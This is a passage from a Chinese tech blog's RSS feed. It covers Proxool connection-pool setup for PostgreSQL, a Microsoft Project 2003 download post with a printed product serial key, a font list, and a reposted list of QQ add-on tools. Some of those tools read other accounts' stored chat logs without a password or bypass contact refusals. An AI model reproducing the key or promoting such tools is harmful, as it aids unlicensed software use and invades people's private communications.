isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=92</guid><pubDate>Tue, 28 Aug 2007 07:29:00 GMT</pubDate></item><item><title>[软件配置]Proxool 0.9.0RC3 Postgre8.19 配置和使用说明</title><link>http://www.chendw.cn:8080/view.aspx?id=91</link><description>&lt;div id="blog_text" class="cnt"&gt;Porxool 配置文件 &lt;br&gt;--==--==--==--==--==&amp;lt;proxool.xml&amp;gt;==--==--==--==--==--==--== &lt;br&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt; &lt;br&gt;&amp;lt;proxool&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;alias&amp;gt;WMS&amp;lt;/alias&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;driver-url&amp;gt;jdbc:postgresql://192.168.210.184:5432/wms&amp;lt;/driver-url&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;driver-class&amp;gt;org.postgresql.Driver&amp;lt;/driver-class&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;driver-properties&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;property name="user" value="wms_user" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;property name="password" value="wms" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/driver-properties&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;minimum-connection-count&amp;gt;2&amp;lt;/minimum-connection-count&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;maximum-connection-count&amp;gt;40&amp;lt;/maximum-connection-count&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;simultaneous-build-throttle&amp;gt;20&amp;lt;/simultaneous-build-throttle&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;prototype-count&amp;gt;2&amp;lt;/prototype-count&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;house-keeping-test-sql&amp;gt;select CURRENT_DATE&amp;lt;/house-keeping-test-sql&amp;gt; &lt;br&gt;&amp;lt;/proxool&amp;gt; &lt;br&gt;--==--==--==--==--==&amp;lt;proxool.xml&amp;gt;==--==--==--==--==--==--== &lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;配置说明： &lt;br&gt;alias&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -〉数据库连接别名（程序中需要使用的名称） &lt;br&gt;driver-url&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -〉数据库驱动 &lt;br&gt;driver-class&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -〉驱动程序类 &lt;br&gt;driver-properties&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -〉联机数据库的用户和密码 &lt;br&gt;minimum-connection-count&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -〉最小连接数量，建议设置0以上，保证第一次连接时间 &lt;br&gt;maximum-connection-count&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -〉最大连接数量，如果超过最大连接数量则会抛出异常。连接数设置过多，服务器CPU和内存性能消耗很大。 &lt;br&gt;simultaneous-build-throttle&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -〉同时最大连接数 &lt;br&gt;prototype-count&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -〉一次产生连接的数量。 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 例：如果现在prototype-count设置为4个，但是现在已经有2个可以获得的连接，那么将会试图再创建2个连接。 &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 但不能超过最大连接数。 &lt;br&gt;maximum-active-time&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -〉连接最大时间活动 默认5分钟 &lt;br&gt;maximum-connection-lifetime&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -〉连接最大生命时间 默认4小时 &lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;--==--==--==--==--==&amp;lt;web.xml&amp;gt;==--==--==--==--==--==--== &lt;br&gt;。。。。。。。。。。。。 &lt;br&gt;&amp;lt;servlet&amp;gt; &lt;br&gt; &amp;lt;servlet-name&amp;gt;ServletConfigurator&amp;lt;/servlet-name&amp;gt; &lt;br&gt; &amp;lt;servlet-class&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp; org.logicalcobwebs.proxool.configuration.ServletConfigurator &lt;br&gt; &amp;lt;/servlet-class&amp;gt; &lt;br&gt; &amp;lt;init-param&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;param-name&amp;gt;xmlFile&amp;lt;/param-name&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;param-value&amp;gt;WEB-INF/proxool.xml&amp;lt;/param-value&amp;gt; &lt;br&gt; &amp;lt;/init-param&amp;gt; &lt;br&gt; &amp;lt;load-on-startup&amp;gt;1&amp;lt;/load-on-startup&amp;gt; &lt;br&gt;&amp;lt;/servlet&amp;gt; &lt;br&gt;。。。。。。。。。。。。。 &lt;br&gt;--==--==--==--==--==&amp;lt;web.xml&amp;gt;==--==--==--==--==--==--== &lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;Java使用方法： &lt;br&gt;Connection con = null; &lt;br&gt;Statement stmt = null; &lt;br&gt;ResultSet rs = null; &lt;br&gt;String po = ""; &lt;br&gt;con = DriverManager.getConnection("proxool.WMS"); &lt;br&gt;stmt = con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE); &lt;br&gt;String query = "select * from as1_mst_040"; &lt;br&gt;rs = stmt.executeQuery(query); &lt;br&gt;while (rs.next()) { &lt;br&gt; po = rs.getString("USER_NAME"); &lt;br&gt;} &lt;br&gt;stmt.close(); &lt;br&gt;con.close(); &lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;需要注意问题： &lt;br&gt;1。虽然使用数据库连接池进行管理，但是仍然不要忘记释放DB连接，否则数据库连接池的最大数量会很快被消耗殆尽， &lt;br&gt;死连接需要5分钟才能被自动剔出，如果有一个程序没有关闭数据库连接，就会出现数据库达到最大连接数的错误。 &lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;2。本人开始是使用Tomcat5.5.20+1.4JDK，结果数据连接池始终报错，寻找许久也没有找到问题，最后更新成1.5后正常， &lt;br&gt;如果您发现在Linux下1.4JDK不能正常运行，那么请先考虑一下JDK版本问题。 &lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;3。Web Admin监视死连接 &lt;br&gt;尽量配置Web管理页面，监视数据库连接情况， &lt;br&gt;本人配置后显示如下：0 (active), 2 (available), 40 (max) &lt;br&gt;当您发现连接详细里出现大量红色字的信息时（active&amp;gt;0），那么可能是存在了死连接，请注意查找程序是否是存在没有关闭的连接。 &lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=91</guid><pubDate>Sun, 26 Aug 2007 09:49:00 GMT</pubDate></item><item><title>Microsoft Office Project 2003 简体中文版[附序列号]</title><link>http://www.chendw.cn:8080/view.aspx?id=90</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;div style="BORDER-RIGHT: #ebf2f5 1px solid; PADDING-RIGHT: 0px; BORDER-TOP: #ebf2f5 1px solid; PADDING-LEFT: 0px; PADDING-BOTTOM: 6px; BORDER-LEFT: #ebf2f5 1px solid; PADDING-TOP: 6px; BORDER-BOTTOM: #ebf2f5 1px solid; BACKGROUND-COLOR: #f3f7f8; TEXT-ALIGN: center"&gt;&lt;a href="http://www.52zy.com/down/159.html" target="_blank"&gt;点击下载&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;安装的SN在光盘内&lt;/p&gt;
WFDWY-XQXJF-RHRYG-BG7RQ-BBDHM
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=90</guid><pubDate>Thu, 13 May 2010 03:47:17 GMT</pubDate></item><item><title>字体字库在线图片生成及字体下载</title><link>http://www.chendw.cn:8080/view.aspx?id=89</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;table border="0" width="90%" align="center"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class="down" width="25%"&gt;&lt;a href=":checkit(665, 汉仪篆书繁 ,0,1,  )"&gt;&lt;img class="borderimage" style="BORDER-LEFT-COLOR: white; BORDER-BOTTOM-COLOR: white; BORDER-TOP-COLOR: white; BORDER-RIGHT-COLOR: white" src="http://www.youmade.com/fontpic//HYFont/HYJ1GFm.gif" alt="" width="110" height="30" /&gt;&lt;/a&gt; &lt;br /&gt;汉仪篆书繁&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a title="下载次数" href="http://www.youmade.com/font/index.asp?fontclass_type=0&amp;amp;page=&amp;amp;fav="&gt;34&lt;/a&gt;&lt;/td&gt;
&lt;td class="down" width="25%"&gt;&lt;a href=":checkit(666, 汉仪粗篆繁 ,0,1,  )"&gt;&lt;img class="borderimage" style="BORDER-LEFT-COLOR: white; BORDER-BOTTOM-COLOR: white; BORDER-TOP-COLOR: white; BORDER-RIGHT-COLOR: white" src="http://www.youmade.com/fontpic//HYFont/HYJ3GFm.gif" alt="" width="110" height="30" /&gt;&lt;/a&gt; &lt;br /&gt;汉仪粗篆繁&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a title="下载次数" href="http://www.youmade.com/font/index.asp?fontclass_type=0&amp;amp;page=&amp;amp;fav="&gt;61&lt;/a&gt;&lt;/td&gt;
&lt;td class="down" width="25%"&gt;&lt;img class="borderimage" style="BORDER-LEFT-COLOR: red; BORDER-BOTTOM-COLOR: red; BORDER-TOP-COLOR: red; BORDER-RIGHT-COLOR: red" src="http://www.youmade.com/fontpic//HYFont/HYP1GJm.gif" alt="" width="110" height="30" /&gt; &lt;br /&gt;汉仪水滴体简&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a title="下载次数" href="http://www.youmade.com/font/index.asp?fontclass_type=0&amp;amp;page=&amp;amp;fav="&gt;2&lt;/a&gt;&lt;/td&gt;
&lt;td class="down" width="25%"&gt;&lt;img class="borderimage" src="http://www.youmade.com/fontpic//HYFont/HYJ2GJm.gif" alt="" width="110" height="30" /&gt; &lt;br /&gt;汉仪娃娃篆简&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a title="下载次数" href="http://www.youmade.com/font/index.asp?fontclass_type=0&amp;amp;page=&amp;amp;fav="&gt;31&lt;/a&gt;&lt;/td&gt;
&lt;td width="23" bgcolor="#deddde"&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class="down" width="25%"&gt;&lt;a href=":checkit(669, 汉仪水滴体繁 ,0,1,  )"&gt;&lt;img class="borderimage" style="BORDER-LEFT-COLOR: white; BORDER-BOTTOM-COLOR: white; BORDER-TOP-COLOR: white; BORDER-RIGHT-COLOR: white" src="http://www.youmade.com/fontpic//HYFont/HYP1GFm.gif" alt="" width="110" height="30" /&gt;&lt;/a&gt; &lt;br /&gt;汉仪水滴体繁&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a title="下载次数" href="http://www.youmade.com/font/index.asp?fontclass_type=0&amp;amp;page=&amp;amp;fav="&gt;4&lt;/a&gt;&lt;/td&gt;
&lt;td class="down" width="25%"&gt;&lt;img class="borderimage" src="http://www.youmade.com/fontpic/FZXZTFW.gif" alt="" width="110" height="30" /&gt; &lt;br /&gt;方正小篆体&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a title="下载次数" href="http://www.youmade.com/font/index.asp?fontclass_type=0&amp;amp;page=&amp;amp;fav="&gt;30&lt;/a&gt;&lt;/td&gt;
&lt;td class="down" width="25%"&gt;&lt;a href=":checkit(671, 方正水柱简 ,0,1,  )"&gt;&lt;img class="borderimage" style="BORDER-LEFT-COLOR: white; BORDER-BOTTOM-COLOR: white; BORDER-TOP-COLOR: white; BORDER-RIGHT-COLOR: white" src="http://www.youmade.com/fontpic/FZSZJW.gif" alt="" width="110" height="30" /&gt;&lt;/a&gt; &lt;br /&gt;方正水柱简　&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a title="下载次数" href="http://www.youmade.com/font/index.asp?fontclass_type=0&amp;amp;page=&amp;amp;fav="&gt;4&lt;/a&gt;&lt;/td&gt;
&lt;td class="down" width="25%"&gt;&lt;a href=":checkit(672, 立方篆 ,0,1,  )"&gt;&lt;img class="borderimage" style="BORDER-LEFT-COLOR: white; BORDER-BOTTOM-COLOR: white; BORDER-TOP-COLOR: white; BORDER-RIGHT-COLOR: white" src="http://www.youmade.com/fontpic/default.gif" alt="" width="110" height="30" /&gt;&lt;/a&gt; &lt;br /&gt;立方篆&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a title="下载次数" href="http://www.youmade.com/font/index.asp?fontclass_type=0&amp;amp;page=&amp;amp;fav="&gt;23&lt;/a&gt;&lt;/td&gt;
&lt;td width="23" bgcolor="#deddde"&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class="down" width="25%"&gt;&lt;img class="borderimage" src="http://www.youmade.com/fontpic/default.gif" alt="" width="110" height="30" /&gt; &lt;br /&gt;繁角篆&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a title="下载次数" href="http://www.youmade.com/font/index.asp?fontclass_type=0&amp;amp;page=&amp;amp;fav="&gt;14&lt;/a&gt;&lt;/td&gt;
&lt;td class="down" width="25%"&gt;&lt;a href=":checkit(674, 繁古印篆 ,0,1,  )"&gt;&lt;img class="borderimage" style="BORDER-LEFT-COLOR: white; BORDER-BOTTOM-COLOR: white; BORDER-TOP-COLOR: white; BORDER-RIGHT-COLOR: white" src="http://www.youmade.com/fontpic/default.gif" alt="" width="110" height="30" /&gt;&lt;/a&gt; &lt;br /&gt;繁古印篆&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a title="下载次数" href="http://www.youmade.com/font/index.asp?fontclass_type=0&amp;amp;page=&amp;amp;fav="&gt;13&lt;/a&gt;&lt;/td&gt;
&lt;td class="down" width="25%"&gt;&lt;a href=":checkit(675, 繁印篆 ,0,1,  )"&gt;&lt;img class="borderimage" style="BORDER-LEFT-COLOR: white; BORDER-BOTTOM-COLOR: white; BORDER-TOP-COLOR: white; BORDER-RIGHT-COLOR: white" src="http://www.youmade.com/fontpic/default.gif" alt="" width="110" height="30" /&gt;&lt;/a&gt; &lt;br /&gt;繁印篆&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a title="下载次数" href="http://www.youmade.com/font/index.asp?fontclass_type=0&amp;amp;page=&amp;amp;fav="&gt;6&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href="http://www.youmade.com/font/index.asp?fontclass_type=0&amp;amp;page=&amp;amp;fav=" target="_blank"&gt;点击进入&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #ff0000;"&gt;2007年8月27日9:04:48添加&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.findmyfonts.com/"&gt;&lt;span style="color: #ff0000;"&gt;http://www.findmyfonts.com/&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=89</guid><pubDate>Sun, 29 Mar 2009 06:20:46 GMT</pubDate></item><item><title>[转自IT168]QQ相关辅助工具全集合</title><link>http://www.chendw.cn:8080/view.aspx?id=87</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div align="center"&gt;&lt;strong&gt;&lt;font color="#ffffff" size="2"&gt;&lt;div align="center"&gt;相关辅助工具全集合&lt;/div&gt;&lt;/font&gt;&lt;/strong&gt;&lt;/div&gt;&lt;table cellspacing="0" cellpadding="0" width="530" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td class="white" background="http://gamedown.yesky.com/game/lumu/xuezhiqian/title_bg.jpg" height="29"&gt;&lt;div align="center"&gt;&lt;div align="center"&gt;&lt;strong&gt;&lt;font color="#ffffff" size="2"&gt;QQ相关辅助工具全集合&lt;/font&gt;&lt;/strong&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;        &lt;td bgcolor="#ffffff" height="8"&gt;&lt;img height="1" src="http://gamedown.yesky.com/game/lumu/xuezhiqian/point.gif" width="1"&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;        &lt;td bgcolor="#ffffff"&gt;&lt;table cellspacing="0" cellpadding="0" width="478" align="center" border="0"&gt;        &lt;tbody&gt;            &lt;tr&gt;                &lt;td&gt;&lt;div class="inverse-box-r1a"&gt;&lt;div class="searchpageTitle"&gt;&lt;div align="left"&gt;&lt;a href="http://www.mydown.com/soft/network/chat/138/410638.shtml" target="_blank"&gt;&lt;font class="f"&gt;&lt;strong&gt;QQ自动聊天机器人&lt;/strong&gt;&lt;/font&gt; &lt;/a&gt;&lt;/div&gt;&lt;/div&gt;                &lt;div class="searchpageBody"&gt;&lt;div align="left"&gt;QQ自动聊天工具，支持最新版本的QQ软件(2005版)。可自动发送各种类型的语句，也可以双击发送，循环发送或单句重复发送。&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;                &lt;div class="inverse-box-r1a"&gt;&lt;div class="searchpageTitle"&gt;&lt;div align="left"&gt;&lt;a href="http://www.mydown.com/soft/244/244584.html" target="_blank"&gt;&lt;font class="f"&gt;&lt;strong&gt;QQ木马病毒专杀大师&lt;/strong&gt;&lt;/font&gt; &lt;/a&gt;&lt;/div&gt;&lt;/div&gt;                &lt;div class="searchpageBody"&gt;&lt;div align="left"&gt;《QQ木马病毒专杀大师》是专门针对各种QQ木马病毒，各种广告间谍程序，黑客盗号程序及各种流氓软件而推出的专杀工具。马上下载，迅速还您一个真正干净的空间。&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;                &lt;div class="inverse-box-r1a"&gt;&lt;div class="searchpageTitle"&gt;&lt;div align="left"&gt;&lt;a href="http://www.mydown.com/soft/network/chat/201/410701.shtml" target="_blank"&gt;&lt;font class="f"&gt;&lt;strong&gt;QQ群登快手&lt;/strong&gt;&lt;/font&gt; &lt;/a&gt;&lt;/div&gt;&lt;/div&gt;                &lt;div class="searchpageBody"&gt;&lt;div align="left"&gt;一个快速的浏览器，使用 Gecko 引擎。它的界面模仿IE的风格，并且能够使用IE的书签。它最主要的特点就是下载页面的速度相当的快，这对于网速不是很快的中国用户还是很有优势的。 &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;                &lt;div class="inverse-box-r1a"&gt;&lt;div class="searchpageTitle"&gt;&lt;div align="left"&gt;&lt;a href="http://www.mydown.com/soft/network/chat/292/408292.shtml" target="_blank"&gt;&lt;font class="f"&gt;&lt;strong&gt;QQ在线查看发送精灵&lt;/strong&gt;&lt;/font&gt; &lt;/a&gt;&lt;/div&gt;&lt;/div&gt;                &lt;div class="searchpageBody"&gt;&lt;div align="left"&gt;你想不想不用登陆QQ就知道好友是不是在线?你想不想给未通过验证的漂亮MM或帅帅GG发送消息呢?有了QQ在线查看发送精灵，它能帮你解决这些问题，而且这样功能都是完全免费的哦!说不定你给她美言几句，她就加你为好友了哦，呵呵!&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;                &lt;div class="inverse-box-r1a"&gt;&lt;div class="searchpageTitle"&gt;&lt;div align="left"&gt;&lt;a href="http://www.mydown.com/soft/utilitie/antivirus/491/410491.shtml" target="_blank"&gt;&lt;font class="f"&gt;&lt;strong&gt;QQ病毒专杀工具XP &lt;/strong&gt;&lt;/font&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;                &lt;div class="searchpageBody"&gt;&lt;div align="left"&gt;QQ病毒专杀工具XP--QQKav是由国内共享软件作者喃哥开发的一款专门查杀腾讯QQ自动发消息病毒、木马及反黄的软件。&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;                &lt;div class="inverse-box-r1a"&gt;&lt;div class="searchpageTitle"&gt;&lt;div align="left"&gt;&lt;a href="http:///" target="_blank"&gt;&lt;font class="f"&gt;&lt;strong&gt;QQ万能发送精灵&lt;/strong&gt;&lt;/font&gt; &lt;/a&gt;&lt;/div&gt;&lt;/div&gt;                &lt;div class="searchpageBody"&gt;&lt;p align="left"&gt;轻松与任何QQ号码聊天，不需要通过对方验证，即使对方设置的是拒绝加入，也能直接给对方发送信息，当然发送表情也是可以的啦。怎么样，神奇吧?&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;                &lt;div class="inverse-box-r1a"&gt;&lt;div class="searchpageTitle"&gt;&lt;div align="left"&gt;&lt;a href="http://www.mydown.com/soft/network/chat/13/410513.shtml" target="_blank"&gt;&lt;font class="f"&gt;&lt;strong&gt;QQ状态查询小精灵&lt;/strong&gt;&lt;/font&gt; &lt;/a&gt;&lt;/div&gt;&lt;/div&gt;                &lt;div class="searchpageBody"&gt;&lt;div align="left"&gt;不用登陆QQ就可以轻松查询好友状态的实用小工具。&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;                &lt;div class="inverse-box-r1a"&gt;&lt;div class="searchpageTitle"&gt;&lt;div align="left"&gt;&lt;a href="http://www.mydown.com/soft/network/chat/261/408761.shtml" target="_blank"&gt;&lt;font class="f"&gt;&lt;strong&gt;QQ聊天记录查看器&lt;/strong&gt;&lt;/font&gt; &lt;/a&gt;&lt;/div&gt;&lt;/div&gt;                &lt;div class="searchpageBody"&gt;&lt;div align="left"&gt;该软件通过特殊技术,使你不需要输入QQ密码,就可以查看本地机上曾经登陆过的所有QQ号的聊天记录&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;                &lt;div class="inverse-box-r1a"&gt;&lt;div class="searchpageTitle"&gt;&lt;div align="left"&gt;&lt;a href="http://www.mydown.com/soft/network/chat/483/405983.shtml" target="_blank"&gt;&lt;font class="f"&gt;&lt;strong&gt;萤火虫QQ辅助&lt;/strong&gt;&lt;/font&gt; &lt;/a&gt;&lt;/div&gt;&lt;/div&gt;                &lt;div class="searchpageBody"&gt;&lt;div align="left"&gt;“萤火虫QQ辅助”是个QQ外挂辅助工具，使你在玩QQ的时候更得心应手。&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;                &lt;div class="inverse-box-r1a"&gt;&lt;div class="searchpageTitle"&gt;&lt;div align="left"&gt;&lt;a href="http://www.mydown.com/soft/network/chat/40/410040.shtml" target="_blank"&gt;&lt;font class="f"&gt;&lt;strong&gt;QQ离线登陆器&lt;/strong&gt;&lt;/font&gt; &lt;/a&gt;&lt;/div&gt;&lt;/div&gt;                &lt;div class="searchpageBody"&gt;&lt;div 